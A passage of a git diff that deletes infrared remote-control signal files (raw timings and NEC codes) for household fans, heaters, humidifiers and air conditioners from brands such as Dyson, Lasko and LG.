1299 410 1273 411 440 1232 1281 403 1279 405 436 1236 436 1262 1251 407 434 1238 434 1264 1249 409 432 9072 1298 411 1281 403 438 1234 1279 405 1277 407 434 1238 434 1264 1249 409 432 1240 432 1266 1247 410 441 7956 1299 410 1272 412 439 1233 1280 404 1279 405 436 1237 435 1263 1249 408 433 1239 433 1265 1248 410 441 9064 1306 403 1279 405 436 1236 1277 407 1275 409 432 1241 431 1267 1247 411 440 1231 441 1231 1281 403 438 7959 1306 403 1279 405 436 1236 1277 407 1275 409 432 1240 432 1240 1273 410 441 1231 441 1231 1282 402 439 -# -name: Mode -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1306 403 1279 404 437 1235 1278 405 1278 406 435 1238 434 1211 461 1210 462 1236 1277 405 436 1236 436 7959 1306 402 1280 403 438 1234 1279 404 1278 405 436 1210 462 1236 436 1209 463 1235 1278 404 437 1209 463 9015 1301 407 1276 407 434 1239 1275 407 1275 409 432 1241 431 1240 432 1214 458 1213 1300 408 433 1240 432 7962 1302 407 1276 407 434 1239 1274 408 1274 410 431 1242 430 1241 431 1240 432 1240 1273 410 431 1241 431 9021 1306 403 1279 404 437 1235 1278 405 1278 406 435 1237 435 1237 435 1237 435 1236 1278 405 436 1237 435 7960 1304 403 1279 404 437 1235 1278 405 1278 406 435 1237 435 1236 436 1235 437 1234 1279 404 437 1235 437 9015 1302 406 1276 407 434 1238 1275 409 1273 410 441 1231 441 1230 431 1266 406 1265 1248 410 431 1241 431 7964 1300 408 1274 410 441 1231 1272 411 1281 403 438 1234 438 1234 438 1259 413 1259 1254 404 437 1234 438 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1300 406 1276 407 434 1215 1298 408 1274 410 441 1207 1296 411 440 1208 464 1208 463 1208 464 1208 464 7956 1298 409 1273 411 440 1208 1305 402 1280 404 437 1211 1302 405 436 1213 459 1212 460 1212 459 1212 460 9225 1301 405 1278 406 435 1213 1300 407 1275 409 432 1217 1296 410 441 1207 465 1206 455 1216 456 1216 456 7964 1300 406 1276 408 433 1215 1298 409 1273 410 441 1207 1306 401 440 1208 464 1208 464 1207 465 1207 465 9221 1306 401 1281 403 438 1210 1303 404 1278 405 436 1213 1300 407 434 1215 457 1215 457 1215 457 1214 458 7964 1300 406 1276 408 433 1216 1297 410 1283 401 440 1209 1304 377 464 1211 461 1210 462 1210 462 1210 461 -# -name: Rotate -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1296 411 1271 412 439 1233 1280 404 1279 405 436 1236 436 1236 1277 405 436 1236 436 1236 436 1235 437 7958 1306 403 1279 404 437 1235 1279 405 1277 407 434 1238 434 1239 1274 409 432 1240 432 1240 432 1266 406 9022 1304 405 1278 406 435 1237 1275 409 1273 410 441 1231 440 1257 1256 402 439 1234 438 1260 412 1260 412 7959 1305 404 1279 406 435 1237 1276 408 1274 410 441 1231 441 1257 1246 412 439 1232 439 1259 413 1259 413 -# -name: Timer -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1303 380 1302 407 434 1238 1275 408 1274 410 441 1230 442 1256 405 1266 1247 411 440 1231 441 1257 415 7956 1298 411 1281 403 438 1234 1279 405 1277 407 434 1238 434 1265 406 1265 1247 410 441 1231 441 1257 415 9271 1297 412 1280 404 437 1235 1278 406 1276 408 433 1239 433 1266 406 1265 1248 410 441 1231 440 1258 414 7957 1307 402 1280 404 437 1235 1278 405 1276 408 433 1239 433 1265 407 1265 1247 410 441 1231 440 1258 414 9271 1298 412 1280 403 438 1234 1279 405 1277 407 434 1238 434 1265 406 1265 1248 410 431 1241 431 1267 405 7966 1298 410 1272 412 439 1233 1280 404 1279 405 436 1236 436 1262 409 1262 1251 407 434 1238 434 1264 407 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir b/assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir deleted file mode 100644 index b4c98e49a..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2229 716 749 747 728 715 750 720 756 714 751 719 757 1447 751 719 756 714 751 1453 755 742 723 747 729 742 754 716 749 721 754 715 729 741 724 1454 754 1450 758 1445 753 1451 757 714 751 50967 2228 717 748 1455 753 51028 2198 746 730 1449 749 -# -name: Speed_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2225 719 756 741 724 720 755 715 750 720 755 716 749 1456 752 719 746 726 749 1456 731 741 755 1451 757 714 751 1455 753 718 757 1448 750 1456 752 720 755 715 750 721 754 1452 756 1449 759 51509 2201 743 732 1473 756 51069 2202 717 758 1448 750 -# -name: Speed_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2234 712 752 743 732 713 751 720 755 716 749 722 753 1453 754 716 759 712 752 1453 754 718 757 1449 758 713 751 1455 752 1454 753 718 757 741 723 748 727 745 730 1449 758 739 725 1455 752 51252 2234 713 751 1454 753 -# -name: Rotate -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2199 716 759 763 701 742 732 737 727 742 732 737 727 1448 759 738 726 743 732 1444 752 771 724 745 729 1447 760 1417 758 739 746 750 725 1426 760 737 727 743 732 739 725 1452 755 743 732 50977 2206 711 753 1449 758 51061 2226 721 754 1451 724 -# -name: Circulate -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2232 712 752 743 731 712 752 718 756 713 751 745 729 1447 749 721 753 717 757 1446 750 1453 754 717 757 712 752 718 756 713 751 1451 756 741 723 720 754 1449 758 1447 728 1449 758 1447 780 51509 2200 718 756 1474 722 51067 2202 743 731 1446 750 -# -name: Auto -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2227 716 748 721 753 716 758 712 752 717 747 723 751 1452 723 747 727 742 722 1482 724 1479 748 722 752 1451 724 747 727 1449 757 713 782 714 750 720 754 716 748 722 752 717 747 723 751 50706 2204 713 751 1481 725 51062 2225 719 755 1449 747 -# -name: Sleep -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2229 714 750 747 727 717 757 713 751 719 755 715 749 1455 751 719 755 715 749 1455 751 1453 753 717 757 714 750 1454 752 718 756 714 750 746 728 742 722 722 752 1452 754 716 758 1445 751 50982 2229 716 727 1479 748 51048 2205 712 752 1450 756 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2195 722 752 743 721 749 746 723 730 739 746 723 751 1450 725 745 729 739 725 1477 729 1473 754 716 748 1454 731 1445 751 719 755 1473 723 1453 753 1449 757 713 751 718 756 1447 749 747 727 50748 2201 743 731 1473 754 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_HP09.ir b/assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_HP09.ir deleted file mode 100644 index 121c626af..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_HP09.ir +++ /dev/null @@ -1,12 +0,0 @@ -Power RAW F:38000 DC:33 2223 753 725 720 748 750 728 743 725 746 722 1458 750 749 750 722 726 747 721 1460 748 724 755 744 724 721 747 724 754 744 724 747 752 720 748 1458 750 722 756 715 753 718 750 1456 752 51488 2221 727 721 1460 748 51156 2203 744 724 1456 752 -Info RAW F:38000 DC:33 2229 718 750 721 747 724 755 716 752 719 749 1457 751 721 747 724 744 727 721 1486 722 1458 749 722 746 1459 749 1457 751 720 779 1427 750 1456 752 1454 754 1452 745 1460 748 1457 751 1455 722 51635 2218 727 751 1453 744 51091 2227 745 723 1455 753 51082 2226 719 718 1459 749 -Fan_up RAW F:38000 DC:33 2229 715 753 717 751 719 749 722 746 725 753 1451 757 715 753 717 751 720 748 1457 750 720 748 1457 750 720 727 1451 756 741 727 1478 750 1455 722 749 750 1455 722 1457 750 746 753 718 750 51532 2195 750 749 1457 750 51053 2222 722 756 1449 748 -Fan_dwn RAW F:38000 DC:33 2225 745 723 748 720 750 718 752 726 744 724 1453 755 743 746 698 749 721 747 1459 748 723 755 1449 748 722 746 1459 748 1458 729 742 726 745 723 748 720 1485 723 749 729 715 753 1478 750 51268 2224 721 747 1457 750 51063 2203 742 726 1453 754 -Heat_up RAW F:38000 DC:33 2227 716 721 749 750 720 748 721 747 723 755 1448 749 722 746 724 744 726 722 1483 724 746 722 1482 726 745 723 1454 753 716 752 1478 729 1450 747 750 728 1450 747 1458 749 1456 751 746 722 50808 2200 745 754 1451 726 51079 2227 718 750 1429 748 -Heat_down RAW F:38000 DC:33 2229 716 752 718 750 720 748 722 746 724 755 1450 747 723 745 725 753 717 751 1453 755 716 752 1452 756 1449 748 1456 721 1483 755 1448 749 1455 722 1456 752 1453 755 1450 747 1456 752 1453 755 50840 2221 749 729 1449 748 51062 2194 750 728 1449 748 -Auto RAW F:38000 DC:33 2278 692 725 745 723 747 721 748 730 739 750 1427 750 748 751 719 728 742 726 1451 756 1448 749 749 729 1474 723 747 721 1456 721 776 702 741 747 723 724 1479 728 1476 721 750 728 741 748 51224 2225 719 749 1453 724 51075 2221 721 726 1476 721 -Cool RAW F:38000 DC:33 2220 724 754 715 753 716 752 718 750 720 748 1481 726 744 724 719 749 721 747 1457 750 747 721 1456 731 1474 723 747 721 749 729 1500 728 717 751 1478 719 750 728 715 753 717 751 1478 729 51218 2202 767 722 1454 723 51044 2223 720 748 1456 721 -Swivel RAW F:38000 DC:33 2223 720 748 749 729 741 727 743 725 744 724 1453 754 743 745 724 723 747 721 1456 751 746 722 748 730 1448 749 1455 752 744 724 746 722 1455 752 744 724 1454 753 1451 756 1449 748 748 730 51497 2229 713 755 1449 748 51064 2201 714 754 1449 748 -Timer RAW F:38000 DC:33 2225 718 750 719 749 721 747 722 746 723 745 1458 750 720 748 722 726 744 724 1452 756 741 727 742 726 1451 746 1457 750 1454 754 716 752 717 720 1483 725 745 723 1454 754 1450 747 1456 752 50811 2199 744 745 1433 754 51049 2229 715 743 1435 752 -Night RAW F:38000 DC:33 2227 713 806 664 753 716 752 718 750 719 749 1455 752 718 750 719 749 720 758 1445 752 1424 784 714 754 688 780 1424 753 718 750 745 754 716 752 717 751 1454 753 716 752 718 750 720 748 51722 2202 686 782 1423 754 51080 2228 714 754 1423 754 -Direction RAW F:38000 DC:33 2223 745 723 747 731 738 730 739 729 741 727 1449 748 748 751 718 729 740 728 1449 748 1456 751 745 723 747 721 748 730 739 729 1448 749 748 730 739 729 741 727 742 747 1430 757 1446 751 50981 2223 719 729 1449 748 51077 2200 743 725 1478 729 diff --git a/assets/ir_optional_assets/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir b/assets/ir_optional_assets/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir deleted file mode 100644 index af20bdecd..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 88 00 00 00 -# -name: 750W -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8C 00 00 00 -# -name: 1500W -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 90 00 00 00 -# -name: Dimmer -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 94 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Homedics/Homedics_Humidifier.ir b/assets/ir_optional_assets/optional-assets/ACs/Homedics/Homedics_Humidifier.ir deleted file mode 100644 index 46ae9283f..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Homedics/Homedics_Humidifier.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1278 408 1276 410 437 1250 434 1253 1278 408 439 1248 436 1252 432 1256 438 1249 435 1252 432 1256 1275 7163 1277 409 1275 437 410 1250 433 1254 1277 409 438 1249 435 1252 432 1255 439 1248 436 1251 432 1254 1277 7159 1281 408 1172 -# -name: Mist_settings -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1304 383 1311 375 461 1227 467 1220 1310 376 460 1227 467 1221 462 1225 458 1229 1312 375 461 1225 469 7972 1305 381 1302 383 464 1224 459 1227 1303 382 465 1223 460 1227 467 1220 463 1223 1307 379 468 1219 464 7976 1310 376 1307 377 459 1228 466 1221 1309 376 460 1226 468 1220 463 1223 460 1226 1305 381 466 1221 462 7979 1308 377 1306 379 457 1230 464 1223 1308 377 459 1228 466 1221 462 1224 459 1228 1302 382 465 1223 460 7978 1309 376 1307 378 458 1228 466 1220 1311 375 461 1225 458 1228 466 1220 463 1223 1308 378 458 1227 467 7971 1306 378 1305 379 468 1219 464 1221 1309 375 461 1225 458 1227 467 1219 464 1222 1309 375 461 1225 458 -# -name: Humidity_lvl -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1287 437 1267 431 416 1273 410 1278 1263 433 414 1248 436 1253 1288 433 414 1248 436 1279 415 1248 436 8002 1296 405 1289 435 412 1277 407 1255 1286 436 411 1252 442 1247 1284 411 436 1253 441 1247 437 1252 442 7994 1293 406 1288 435 412 1276 408 1254 1287 409 438 1251 443 1245 1286 435 412 1249 435 1254 440 1248 435 8000 1287 434 1260 433 414 1274 410 1277 1264 428 408 1253 441 1273 1258 435 412 1276 408 1254 440 1248 436 8000 1287 404 1280 439 408 1279 415 1272 1259 432 415 1272 411 1276 1255 436 411 1276 408 1280 414 1273 410 8000 1287 429 1255 435 412 1276 408 1279 1252 438 409 1277 407 1281 1260 429 407 1278 406 1281 413 1274 409 -# -name: Lighting -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1280 436 1258 431 405 1254 440 1246 1285 431 1252 437 410 1275 408 1253 441 1245 438 1248 1283 432 1251 7156 1284 431 1252 434 413 1247 436 1249 1282 433 1250 437 410 1250 433 1253 430 1255 439 1247 1284 430 1254 7155 1285 429 1255 433 414 1246 437 1249 1282 433 1251 437 410 1251 432 1253 441 1246 438 1250 1281 433 1261 -# -name: Timer -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1284 429 1255 431 405 1280 414 1245 1275 437 410 1249 434 1251 432 1253 1278 433 414 1244 439 1246 437 7994 1272 439 1255 429 407 1277 406 1253 1278 433 414 1271 412 1247 436 1249 1282 429 407 1277 406 1253 430 8001 1275 435 1248 436 411 1247 436 1249 1281 429 407 1250 433 1253 430 1255 1276 435 412 1273 410 1248 435 8000 1276 435 1248 437 410 1276 407 1252 1279 435 412 1275 408 1251 432 1280 1251 436 411 1275 409 1277 407 -# -name: Heat_option -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1277 407 1277 408 439 1246 437 1248 1272 412 435 1250 434 1251 432 1253 431 1255 439 1246 1274 409 438 7996 1280 403 1280 430 406 1253 431 1255 1276 434 413 1247 437 1249 434 1250 433 1252 431 1254 1277 433 414 7992 1274 409 1275 435 412 1273 410 1275 1245 438 409 1276 408 1251 432 1253 430 1254 440 1246 1274 435 412 7996 1280 403 1280 430 406 1253 431 1255 1276 434 413 1273 410 1249 434 1250 433 1252 431 1254 1277 434 413 7996 1280 403 1281 430 406 1279 404 1255 1276 434 413 1246 438 1248 435 1250 433 1252 431 1254 1277 434 413 7994 1272 411 1273 438 409 1250 433 1252 1279 406 430 1255 439 1247 437 1249 434 1252 431 1254 1277 407 440 diff --git a/assets/ir_optional_assets/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir b/assets/ir_optional_assets/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir deleted file mode 100644 index 45735b9bd..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On_off -type: parsed -protocol: NEC -address: 01 00 00 00 -command: 03 00 00 00 -# -name: Speed -type: parsed -protocol: NEC -address: 01 00 00 00 -command: 07 00 00 00 -# -name: Time -type: parsed -protocol: NEC -address: 01 00 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir b/assets/ir_optional_assets/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir deleted file mode 100644 index 92e6fa2e1..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 12 ED 00 00 -# -name: Mode -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 02 FD 00 00 -# -name: Minus -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 13 EC 00 00 -# -name: Plus -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 1A E5 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 1B E4 00 00 -# -name: Speed -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 0E F1 00 00 -# -name: One_Touch -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 16 E9 00 00 -# -name: Sleep -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 0A F5 00 00 -# -name: Energy_Saver -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 0F F0 00 00 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Koldfront_wac12001.ir b/assets/ir_optional_assets/optional-assets/ACs/Koldfront_wac12001.ir deleted file mode 100644 index 92e6fa2e1..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Koldfront_wac12001.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 12 ED 00 00 -# -name: Mode -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 02 FD 00 00 -# -name: Minus -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 13 EC 00 00 -# -name: Plus -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 1A E5 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 1B E4 00 00 -# -name: Speed -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 0E F1 00 00 -# -name: One_Touch -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 16 E9 00 00 -# -name: Sleep -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 0A F5 00 00 -# -name: Energy_Saver -type: parsed -protocol: NECext -address: 01 FF 00 00 -command: 0F F0 00 00 diff --git a/assets/ir_optional_assets/optional-assets/ACs/LG/LG_AC.ir b/assets/ir_optional_assets/optional-assets/ACs/LG/LG_AC.ir deleted file mode 100644 index db3adfa8a..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/LG/LG_AC.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 81 7E 00 00 -# -name: Temp Down -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 8A 75 00 00 -# -name: Temp Up -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 85 7A 00 00 -# -name: Fan Speed -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 99 66 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9F 60 00 00 -# -name: Mode -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9B 64 00 00 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan.ir b/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan.ir deleted file mode 100644 index 6580793b9..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1280 457 1229 426 468 1236 1282 456 1230 427 468 1236 470 1235 471 1235 471 1235 471 1235 492 1240 1289 7171 1290 422 1284 399 464 1238 1291 422 1284 399 464 1239 467 1238 468 1238 468 1238 489 1217 500 1233 1285 7176 1285 426 1280 403 471 1232 1286 426 1281 403 471 1232 464 1242 496 1210 496 1237 469 1236 470 1236 1282 7206 1286 399 1287 422 441 1262 1287 398 1288 449 435 1215 491 1241 465 1240 466 1240 466 1240 466 1240 1289 7199 1283 429 1257 426 469 1235 1283 428 1258 426 469 1234 473 1234 472 1234 472 1233 474 1233 463 1243 1306 7182 1289 448 1258 398 465 1238 1291 448 1258 425 438 1239 467 1238 468 1238 468 1237 490 1216 490 1242 1287 -# -name: Osc -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1289 448 1227 454 441 1238 1280 457 1228 454 441 1238 468 1239 1289 448 436 1215 491 1242 475 1233 473 8012 1281 457 1249 406 468 1237 1281 457 1260 396 467 1238 468 1239 1290 448 436 1242 475 1233 473 1234 472 8013 1291 421 1285 397 466 1238 1291 421 1285 398 465 1239 467 1240 1288 423 472 1233 473 1233 473 1234 472 8014 1289 449 1257 398 465 1239 1289 422 1284 398 465 1239 467 1240 1309 403 471 1233 473 1234 472 1235 471 8015 1309 402 1283 426 437 1241 1308 403 1283 427 436 1241 496 1237 1281 404 470 1235 471 1235 471 1236 491 8021 1282 402 1284 452 443 1235 1283 402 1284 452 443 1209 497 1236 1282 402 472 1233 463 1243 495 1212 494 8019 1284 427 1258 450 445 1233 1285 426 1259 450 444 1233 473 1233 1285 426 437 1240 497 1209 497 1236 470 8016 1288 450 1225 431 464 1241 1288 451 1255 402 472 1232 474 1232 1286 452 443 1235 523 1183 471 1235 471 -# -name: Speed -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1286 424 1251 430 465 1241 1287 423 1252 457 437 1241 465 1242 464 1243 474 1234 472 1235 1314 423 440 8017 1286 451 1255 401 462 1242 1286 452 1254 402 472 1232 474 1233 473 1234 472 1234 493 1241 1287 424 439 8014 1289 422 1284 426 437 1241 1287 451 1255 403 471 1234 472 1234 472 1235 492 1215 491 1242 1286 399 464 8018 1285 426 1280 403 471 1234 1284 454 1252 404 470 1235 471 1236 491 1215 491 1243 526 1181 1285 427 436 8019 1315 423 1262 395 468 1236 1313 400 1286 424 439 1238 489 1218 499 1235 471 1236 470 1236 1282 430 464 8019 1284 401 1284 426 468 1236 1282 404 1281 456 438 1240 466 1240 466 1241 465 1241 465 1242 1286 426 468 8015 1288 424 1261 448 436 1242 1286 426 1259 451 444 1234 472 1234 472 1235 471 1235 471 1236 1282 456 438 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir b/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir deleted file mode 100644 index 1e65e7b40..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9090 4295 561 1708 570 561 563 569 565 567 567 565 569 563 561 570 564 568 566 565 569 1701 567 1702 566 1703 565 1705 563 1706 562 1707 561 1708 570 1699 569 1700 568 564 570 562 562 570 564 567 567 565 569 1700 568 563 591 563 561 1708 571 1699 569 1700 568 1702 566 1703 565 565 569 40667 9086 2139 562 97339 9092 2132 569 -# -name: Timer -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9092 4292 563 1732 536 569 565 567 567 591 543 589 534 597 537 595 539 566 568 564 570 1699 569 1700 568 1702 566 1703 565 1705 563 1707 561 1708 570 1700 568 1701 567 591 543 1700 568 564 570 588 535 570 564 1732 556 571 563 568 566 1703 565 567 567 1702 566 1703 565 1705 563 567 567 40657 9086 2135 566 -# -name: Speed -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9091 4292 564 1706 562 569 565 567 567 565 569 562 561 570 564 568 566 565 569 562 561 1708 570 1698 570 1700 568 1728 540 1703 565 1705 563 1706 562 1708 570 1699 569 1700 568 563 571 561 562 569 565 566 568 1701 587 566 568 563 571 561 562 1706 562 1707 561 1708 570 1699 569 562 561 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Heater.ir b/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Heater.ir deleted file mode 100644 index e03581787..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Heater.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1282 430 1260 427 412 1272 1258 428 1251 435 415 1270 409 1275 415 1269 410 1274 416 1269 410 1274 1256 7299 1278 435 1255 431 408 1276 1254 433 1257 429 410 1274 416 1268 411 1273 417 1267 412 1246 433 1251 1279 7301 1286 427 1252 434 416 1268 1251 435 1255 431 408 1276 414 1270 409 1275 415 1269 410 1274 416 1242 1288 7293 1284 429 1250 436 414 1269 1261 426 1253 433 406 1277 413 1245 434 1249 441 1244 435 1249 441 1270 1260 7294 1283 430 1260 426 413 1270 1260 427 1252 434 416 1267 412 1272 407 1251 439 1246 433 1251 439 1245 1285 7295 1281 432 1258 428 411 1272 1258 429 1250 436 414 1269 410 1274 416 1242 437 1248 442 1242 437 1247 1283 -# -name: High -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1284 430 1260 428 411 1272 1258 431 1259 428 411 1273 417 1242 490 1195 495 1191 1286 402 437 1273 417 8139 1287 427 1252 434 416 1268 1262 427 1252 434 416 1268 411 1248 442 1243 436 1249 1280 433 417 1268 411 8144 1283 432 1258 429 410 1273 1257 431 1259 428 411 1273 417 1242 437 1248 442 1243 1287 427 412 1272 407 8148 1278 435 1255 433 406 1277 1253 435 1255 432 407 1277 413 1272 407 1251 439 1246 1283 431 408 1276 414 8141 1286 428 1251 435 415 1270 1260 427 1252 435 415 1269 410 1274 416 1269 410 1275 1255 432 407 1278 412 8143 1284 429 1250 436 414 1271 1259 428 1251 435 415 1270 409 1249 441 1270 409 1276 1254 433 406 1278 412 8143 1284 429 1261 426 413 1271 1259 402 1278 435 415 1270 409 1249 441 1271 408 1250 1280 433 417 1268 412 8143 1284 402 1278 435 415 1270 1260 427 1253 434 416 1269 410 1274 416 1242 437 1248 1282 431 408 1276 414 8141 1286 426 1254 433 417 1268 1252 435 1255 432 407 1277 413 1271 408 1277 413 1272 1258 429 411 1274 416 8138 1278 434 1256 430 409 1276 1254 432 1258 429 410 1274 416 1269 410 1275 415 1270 1260 426 414 1271 408 8146 1281 432 1258 428 412 1273 1257 430 1260 426 413 1271 408 1276 414 1271 408 1276 1254 434 416 1268 411 8142 1285 428 1251 435 415 1269 1261 426 1254 433 406 1278 412 1272 407 1278 412 1272 1258 429 410 1275 415 8139 1277 435 1255 432 407 1277 1253 434 1256 430 409 1275 415 1270 409 1275 415 1270 1259 427 412 1273 406 8147 1280 433 1257 430 409 1275 1255 431 1259 428 411 1273 406 1278 412 1273 417 1267 1252 435 415 1270 409 8144 1283 430 1260 426 413 1271 1259 428 1251 435 415 1269 410 1275 415 1269 410 1274 1256 432 407 1277 413 8140 1287 426 1253 433 406 1278 1252 435 1255 431 408 1276 414 1271 408 1276 414 1271 1259 428 411 1273 417 8137 1279 433 1257 430 409 1275 1255 432 1258 428 411 1273 417 1267 412 1272 407 1278 1252 434 416 1269 410 8142 1285 428 1252 435 415 1269 1250 436 1254 432 407 1277 413 1271 408 1277 413 1271 1259 428 412 1273 406 -# -name: Low -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1284 402 1278 408 442 1243 1287 399 1280 432 408 1251 439 1245 434 1250 440 1245 434 1276 1254 433 406 8146 1281 406 1284 429 410 1273 1257 430 1260 427 412 1271 408 1276 414 1271 408 1276 414 1271 1259 428 411 8141 1285 427 1252 435 415 1269 1261 426 1253 433 406 1278 412 1272 407 1277 413 1272 407 1277 1252 435 415 8137 1279 435 1255 431 408 1276 1254 433 1257 429 410 1274 416 1269 410 1274 416 1269 410 1274 1256 431 408 8144 1283 431 1259 427 412 1272 1258 429 1250 436 414 1270 409 1276 414 1270 409 1275 415 1270 1259 427 412 8140 1286 427 1252 434 416 1268 1251 436 1254 432 407 1277 413 1271 408 1276 414 1271 408 1276 1254 433 406 8146 1280 432 1258 429 410 1274 1256 430 1260 427 412 1271 408 1276 414 1271 408 1276 414 1271 1259 428 412 8140 1287 426 1253 433 407 1277 1253 434 1256 430 409 1275 415 1269 410 1248 442 1269 410 1274 1256 431 408 8143 1284 429 1250 436 414 1244 1286 426 1254 433 407 1278 412 1246 433 1277 413 1271 408 1250 1280 433 407 8145 1282 405 1285 427 413 1245 1285 402 1278 434 416 1243 436 1248 442 1242 438 1247 443 1241 1278 408 442 8136 1280 406 1284 402 438 1247 1283 403 1287 399 440 1244 435 1249 441 1244 435 1249 441 1244 1286 399 440 8138 1278 408 1282 431 408 1249 1281 432 1258 428 412 1246 434 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1288 399 1280 405 434 1276 1254 432 1258 428 412 1273 406 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1277 409 1281 431 408 1250 1280 432 1258 428 412 1272 407 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1277 409 1281 405 434 1249 1281 405 1285 428 412 1246 433 1251 439 1245 434 1250 440 1245 1285 400 439 8139 1278 408 1282 431 408 1249 1281 432 1258 401 439 1246 434 1251 439 1245 434 1250 440 1245 1285 427 413 -# -name: Temp_up -type: raw 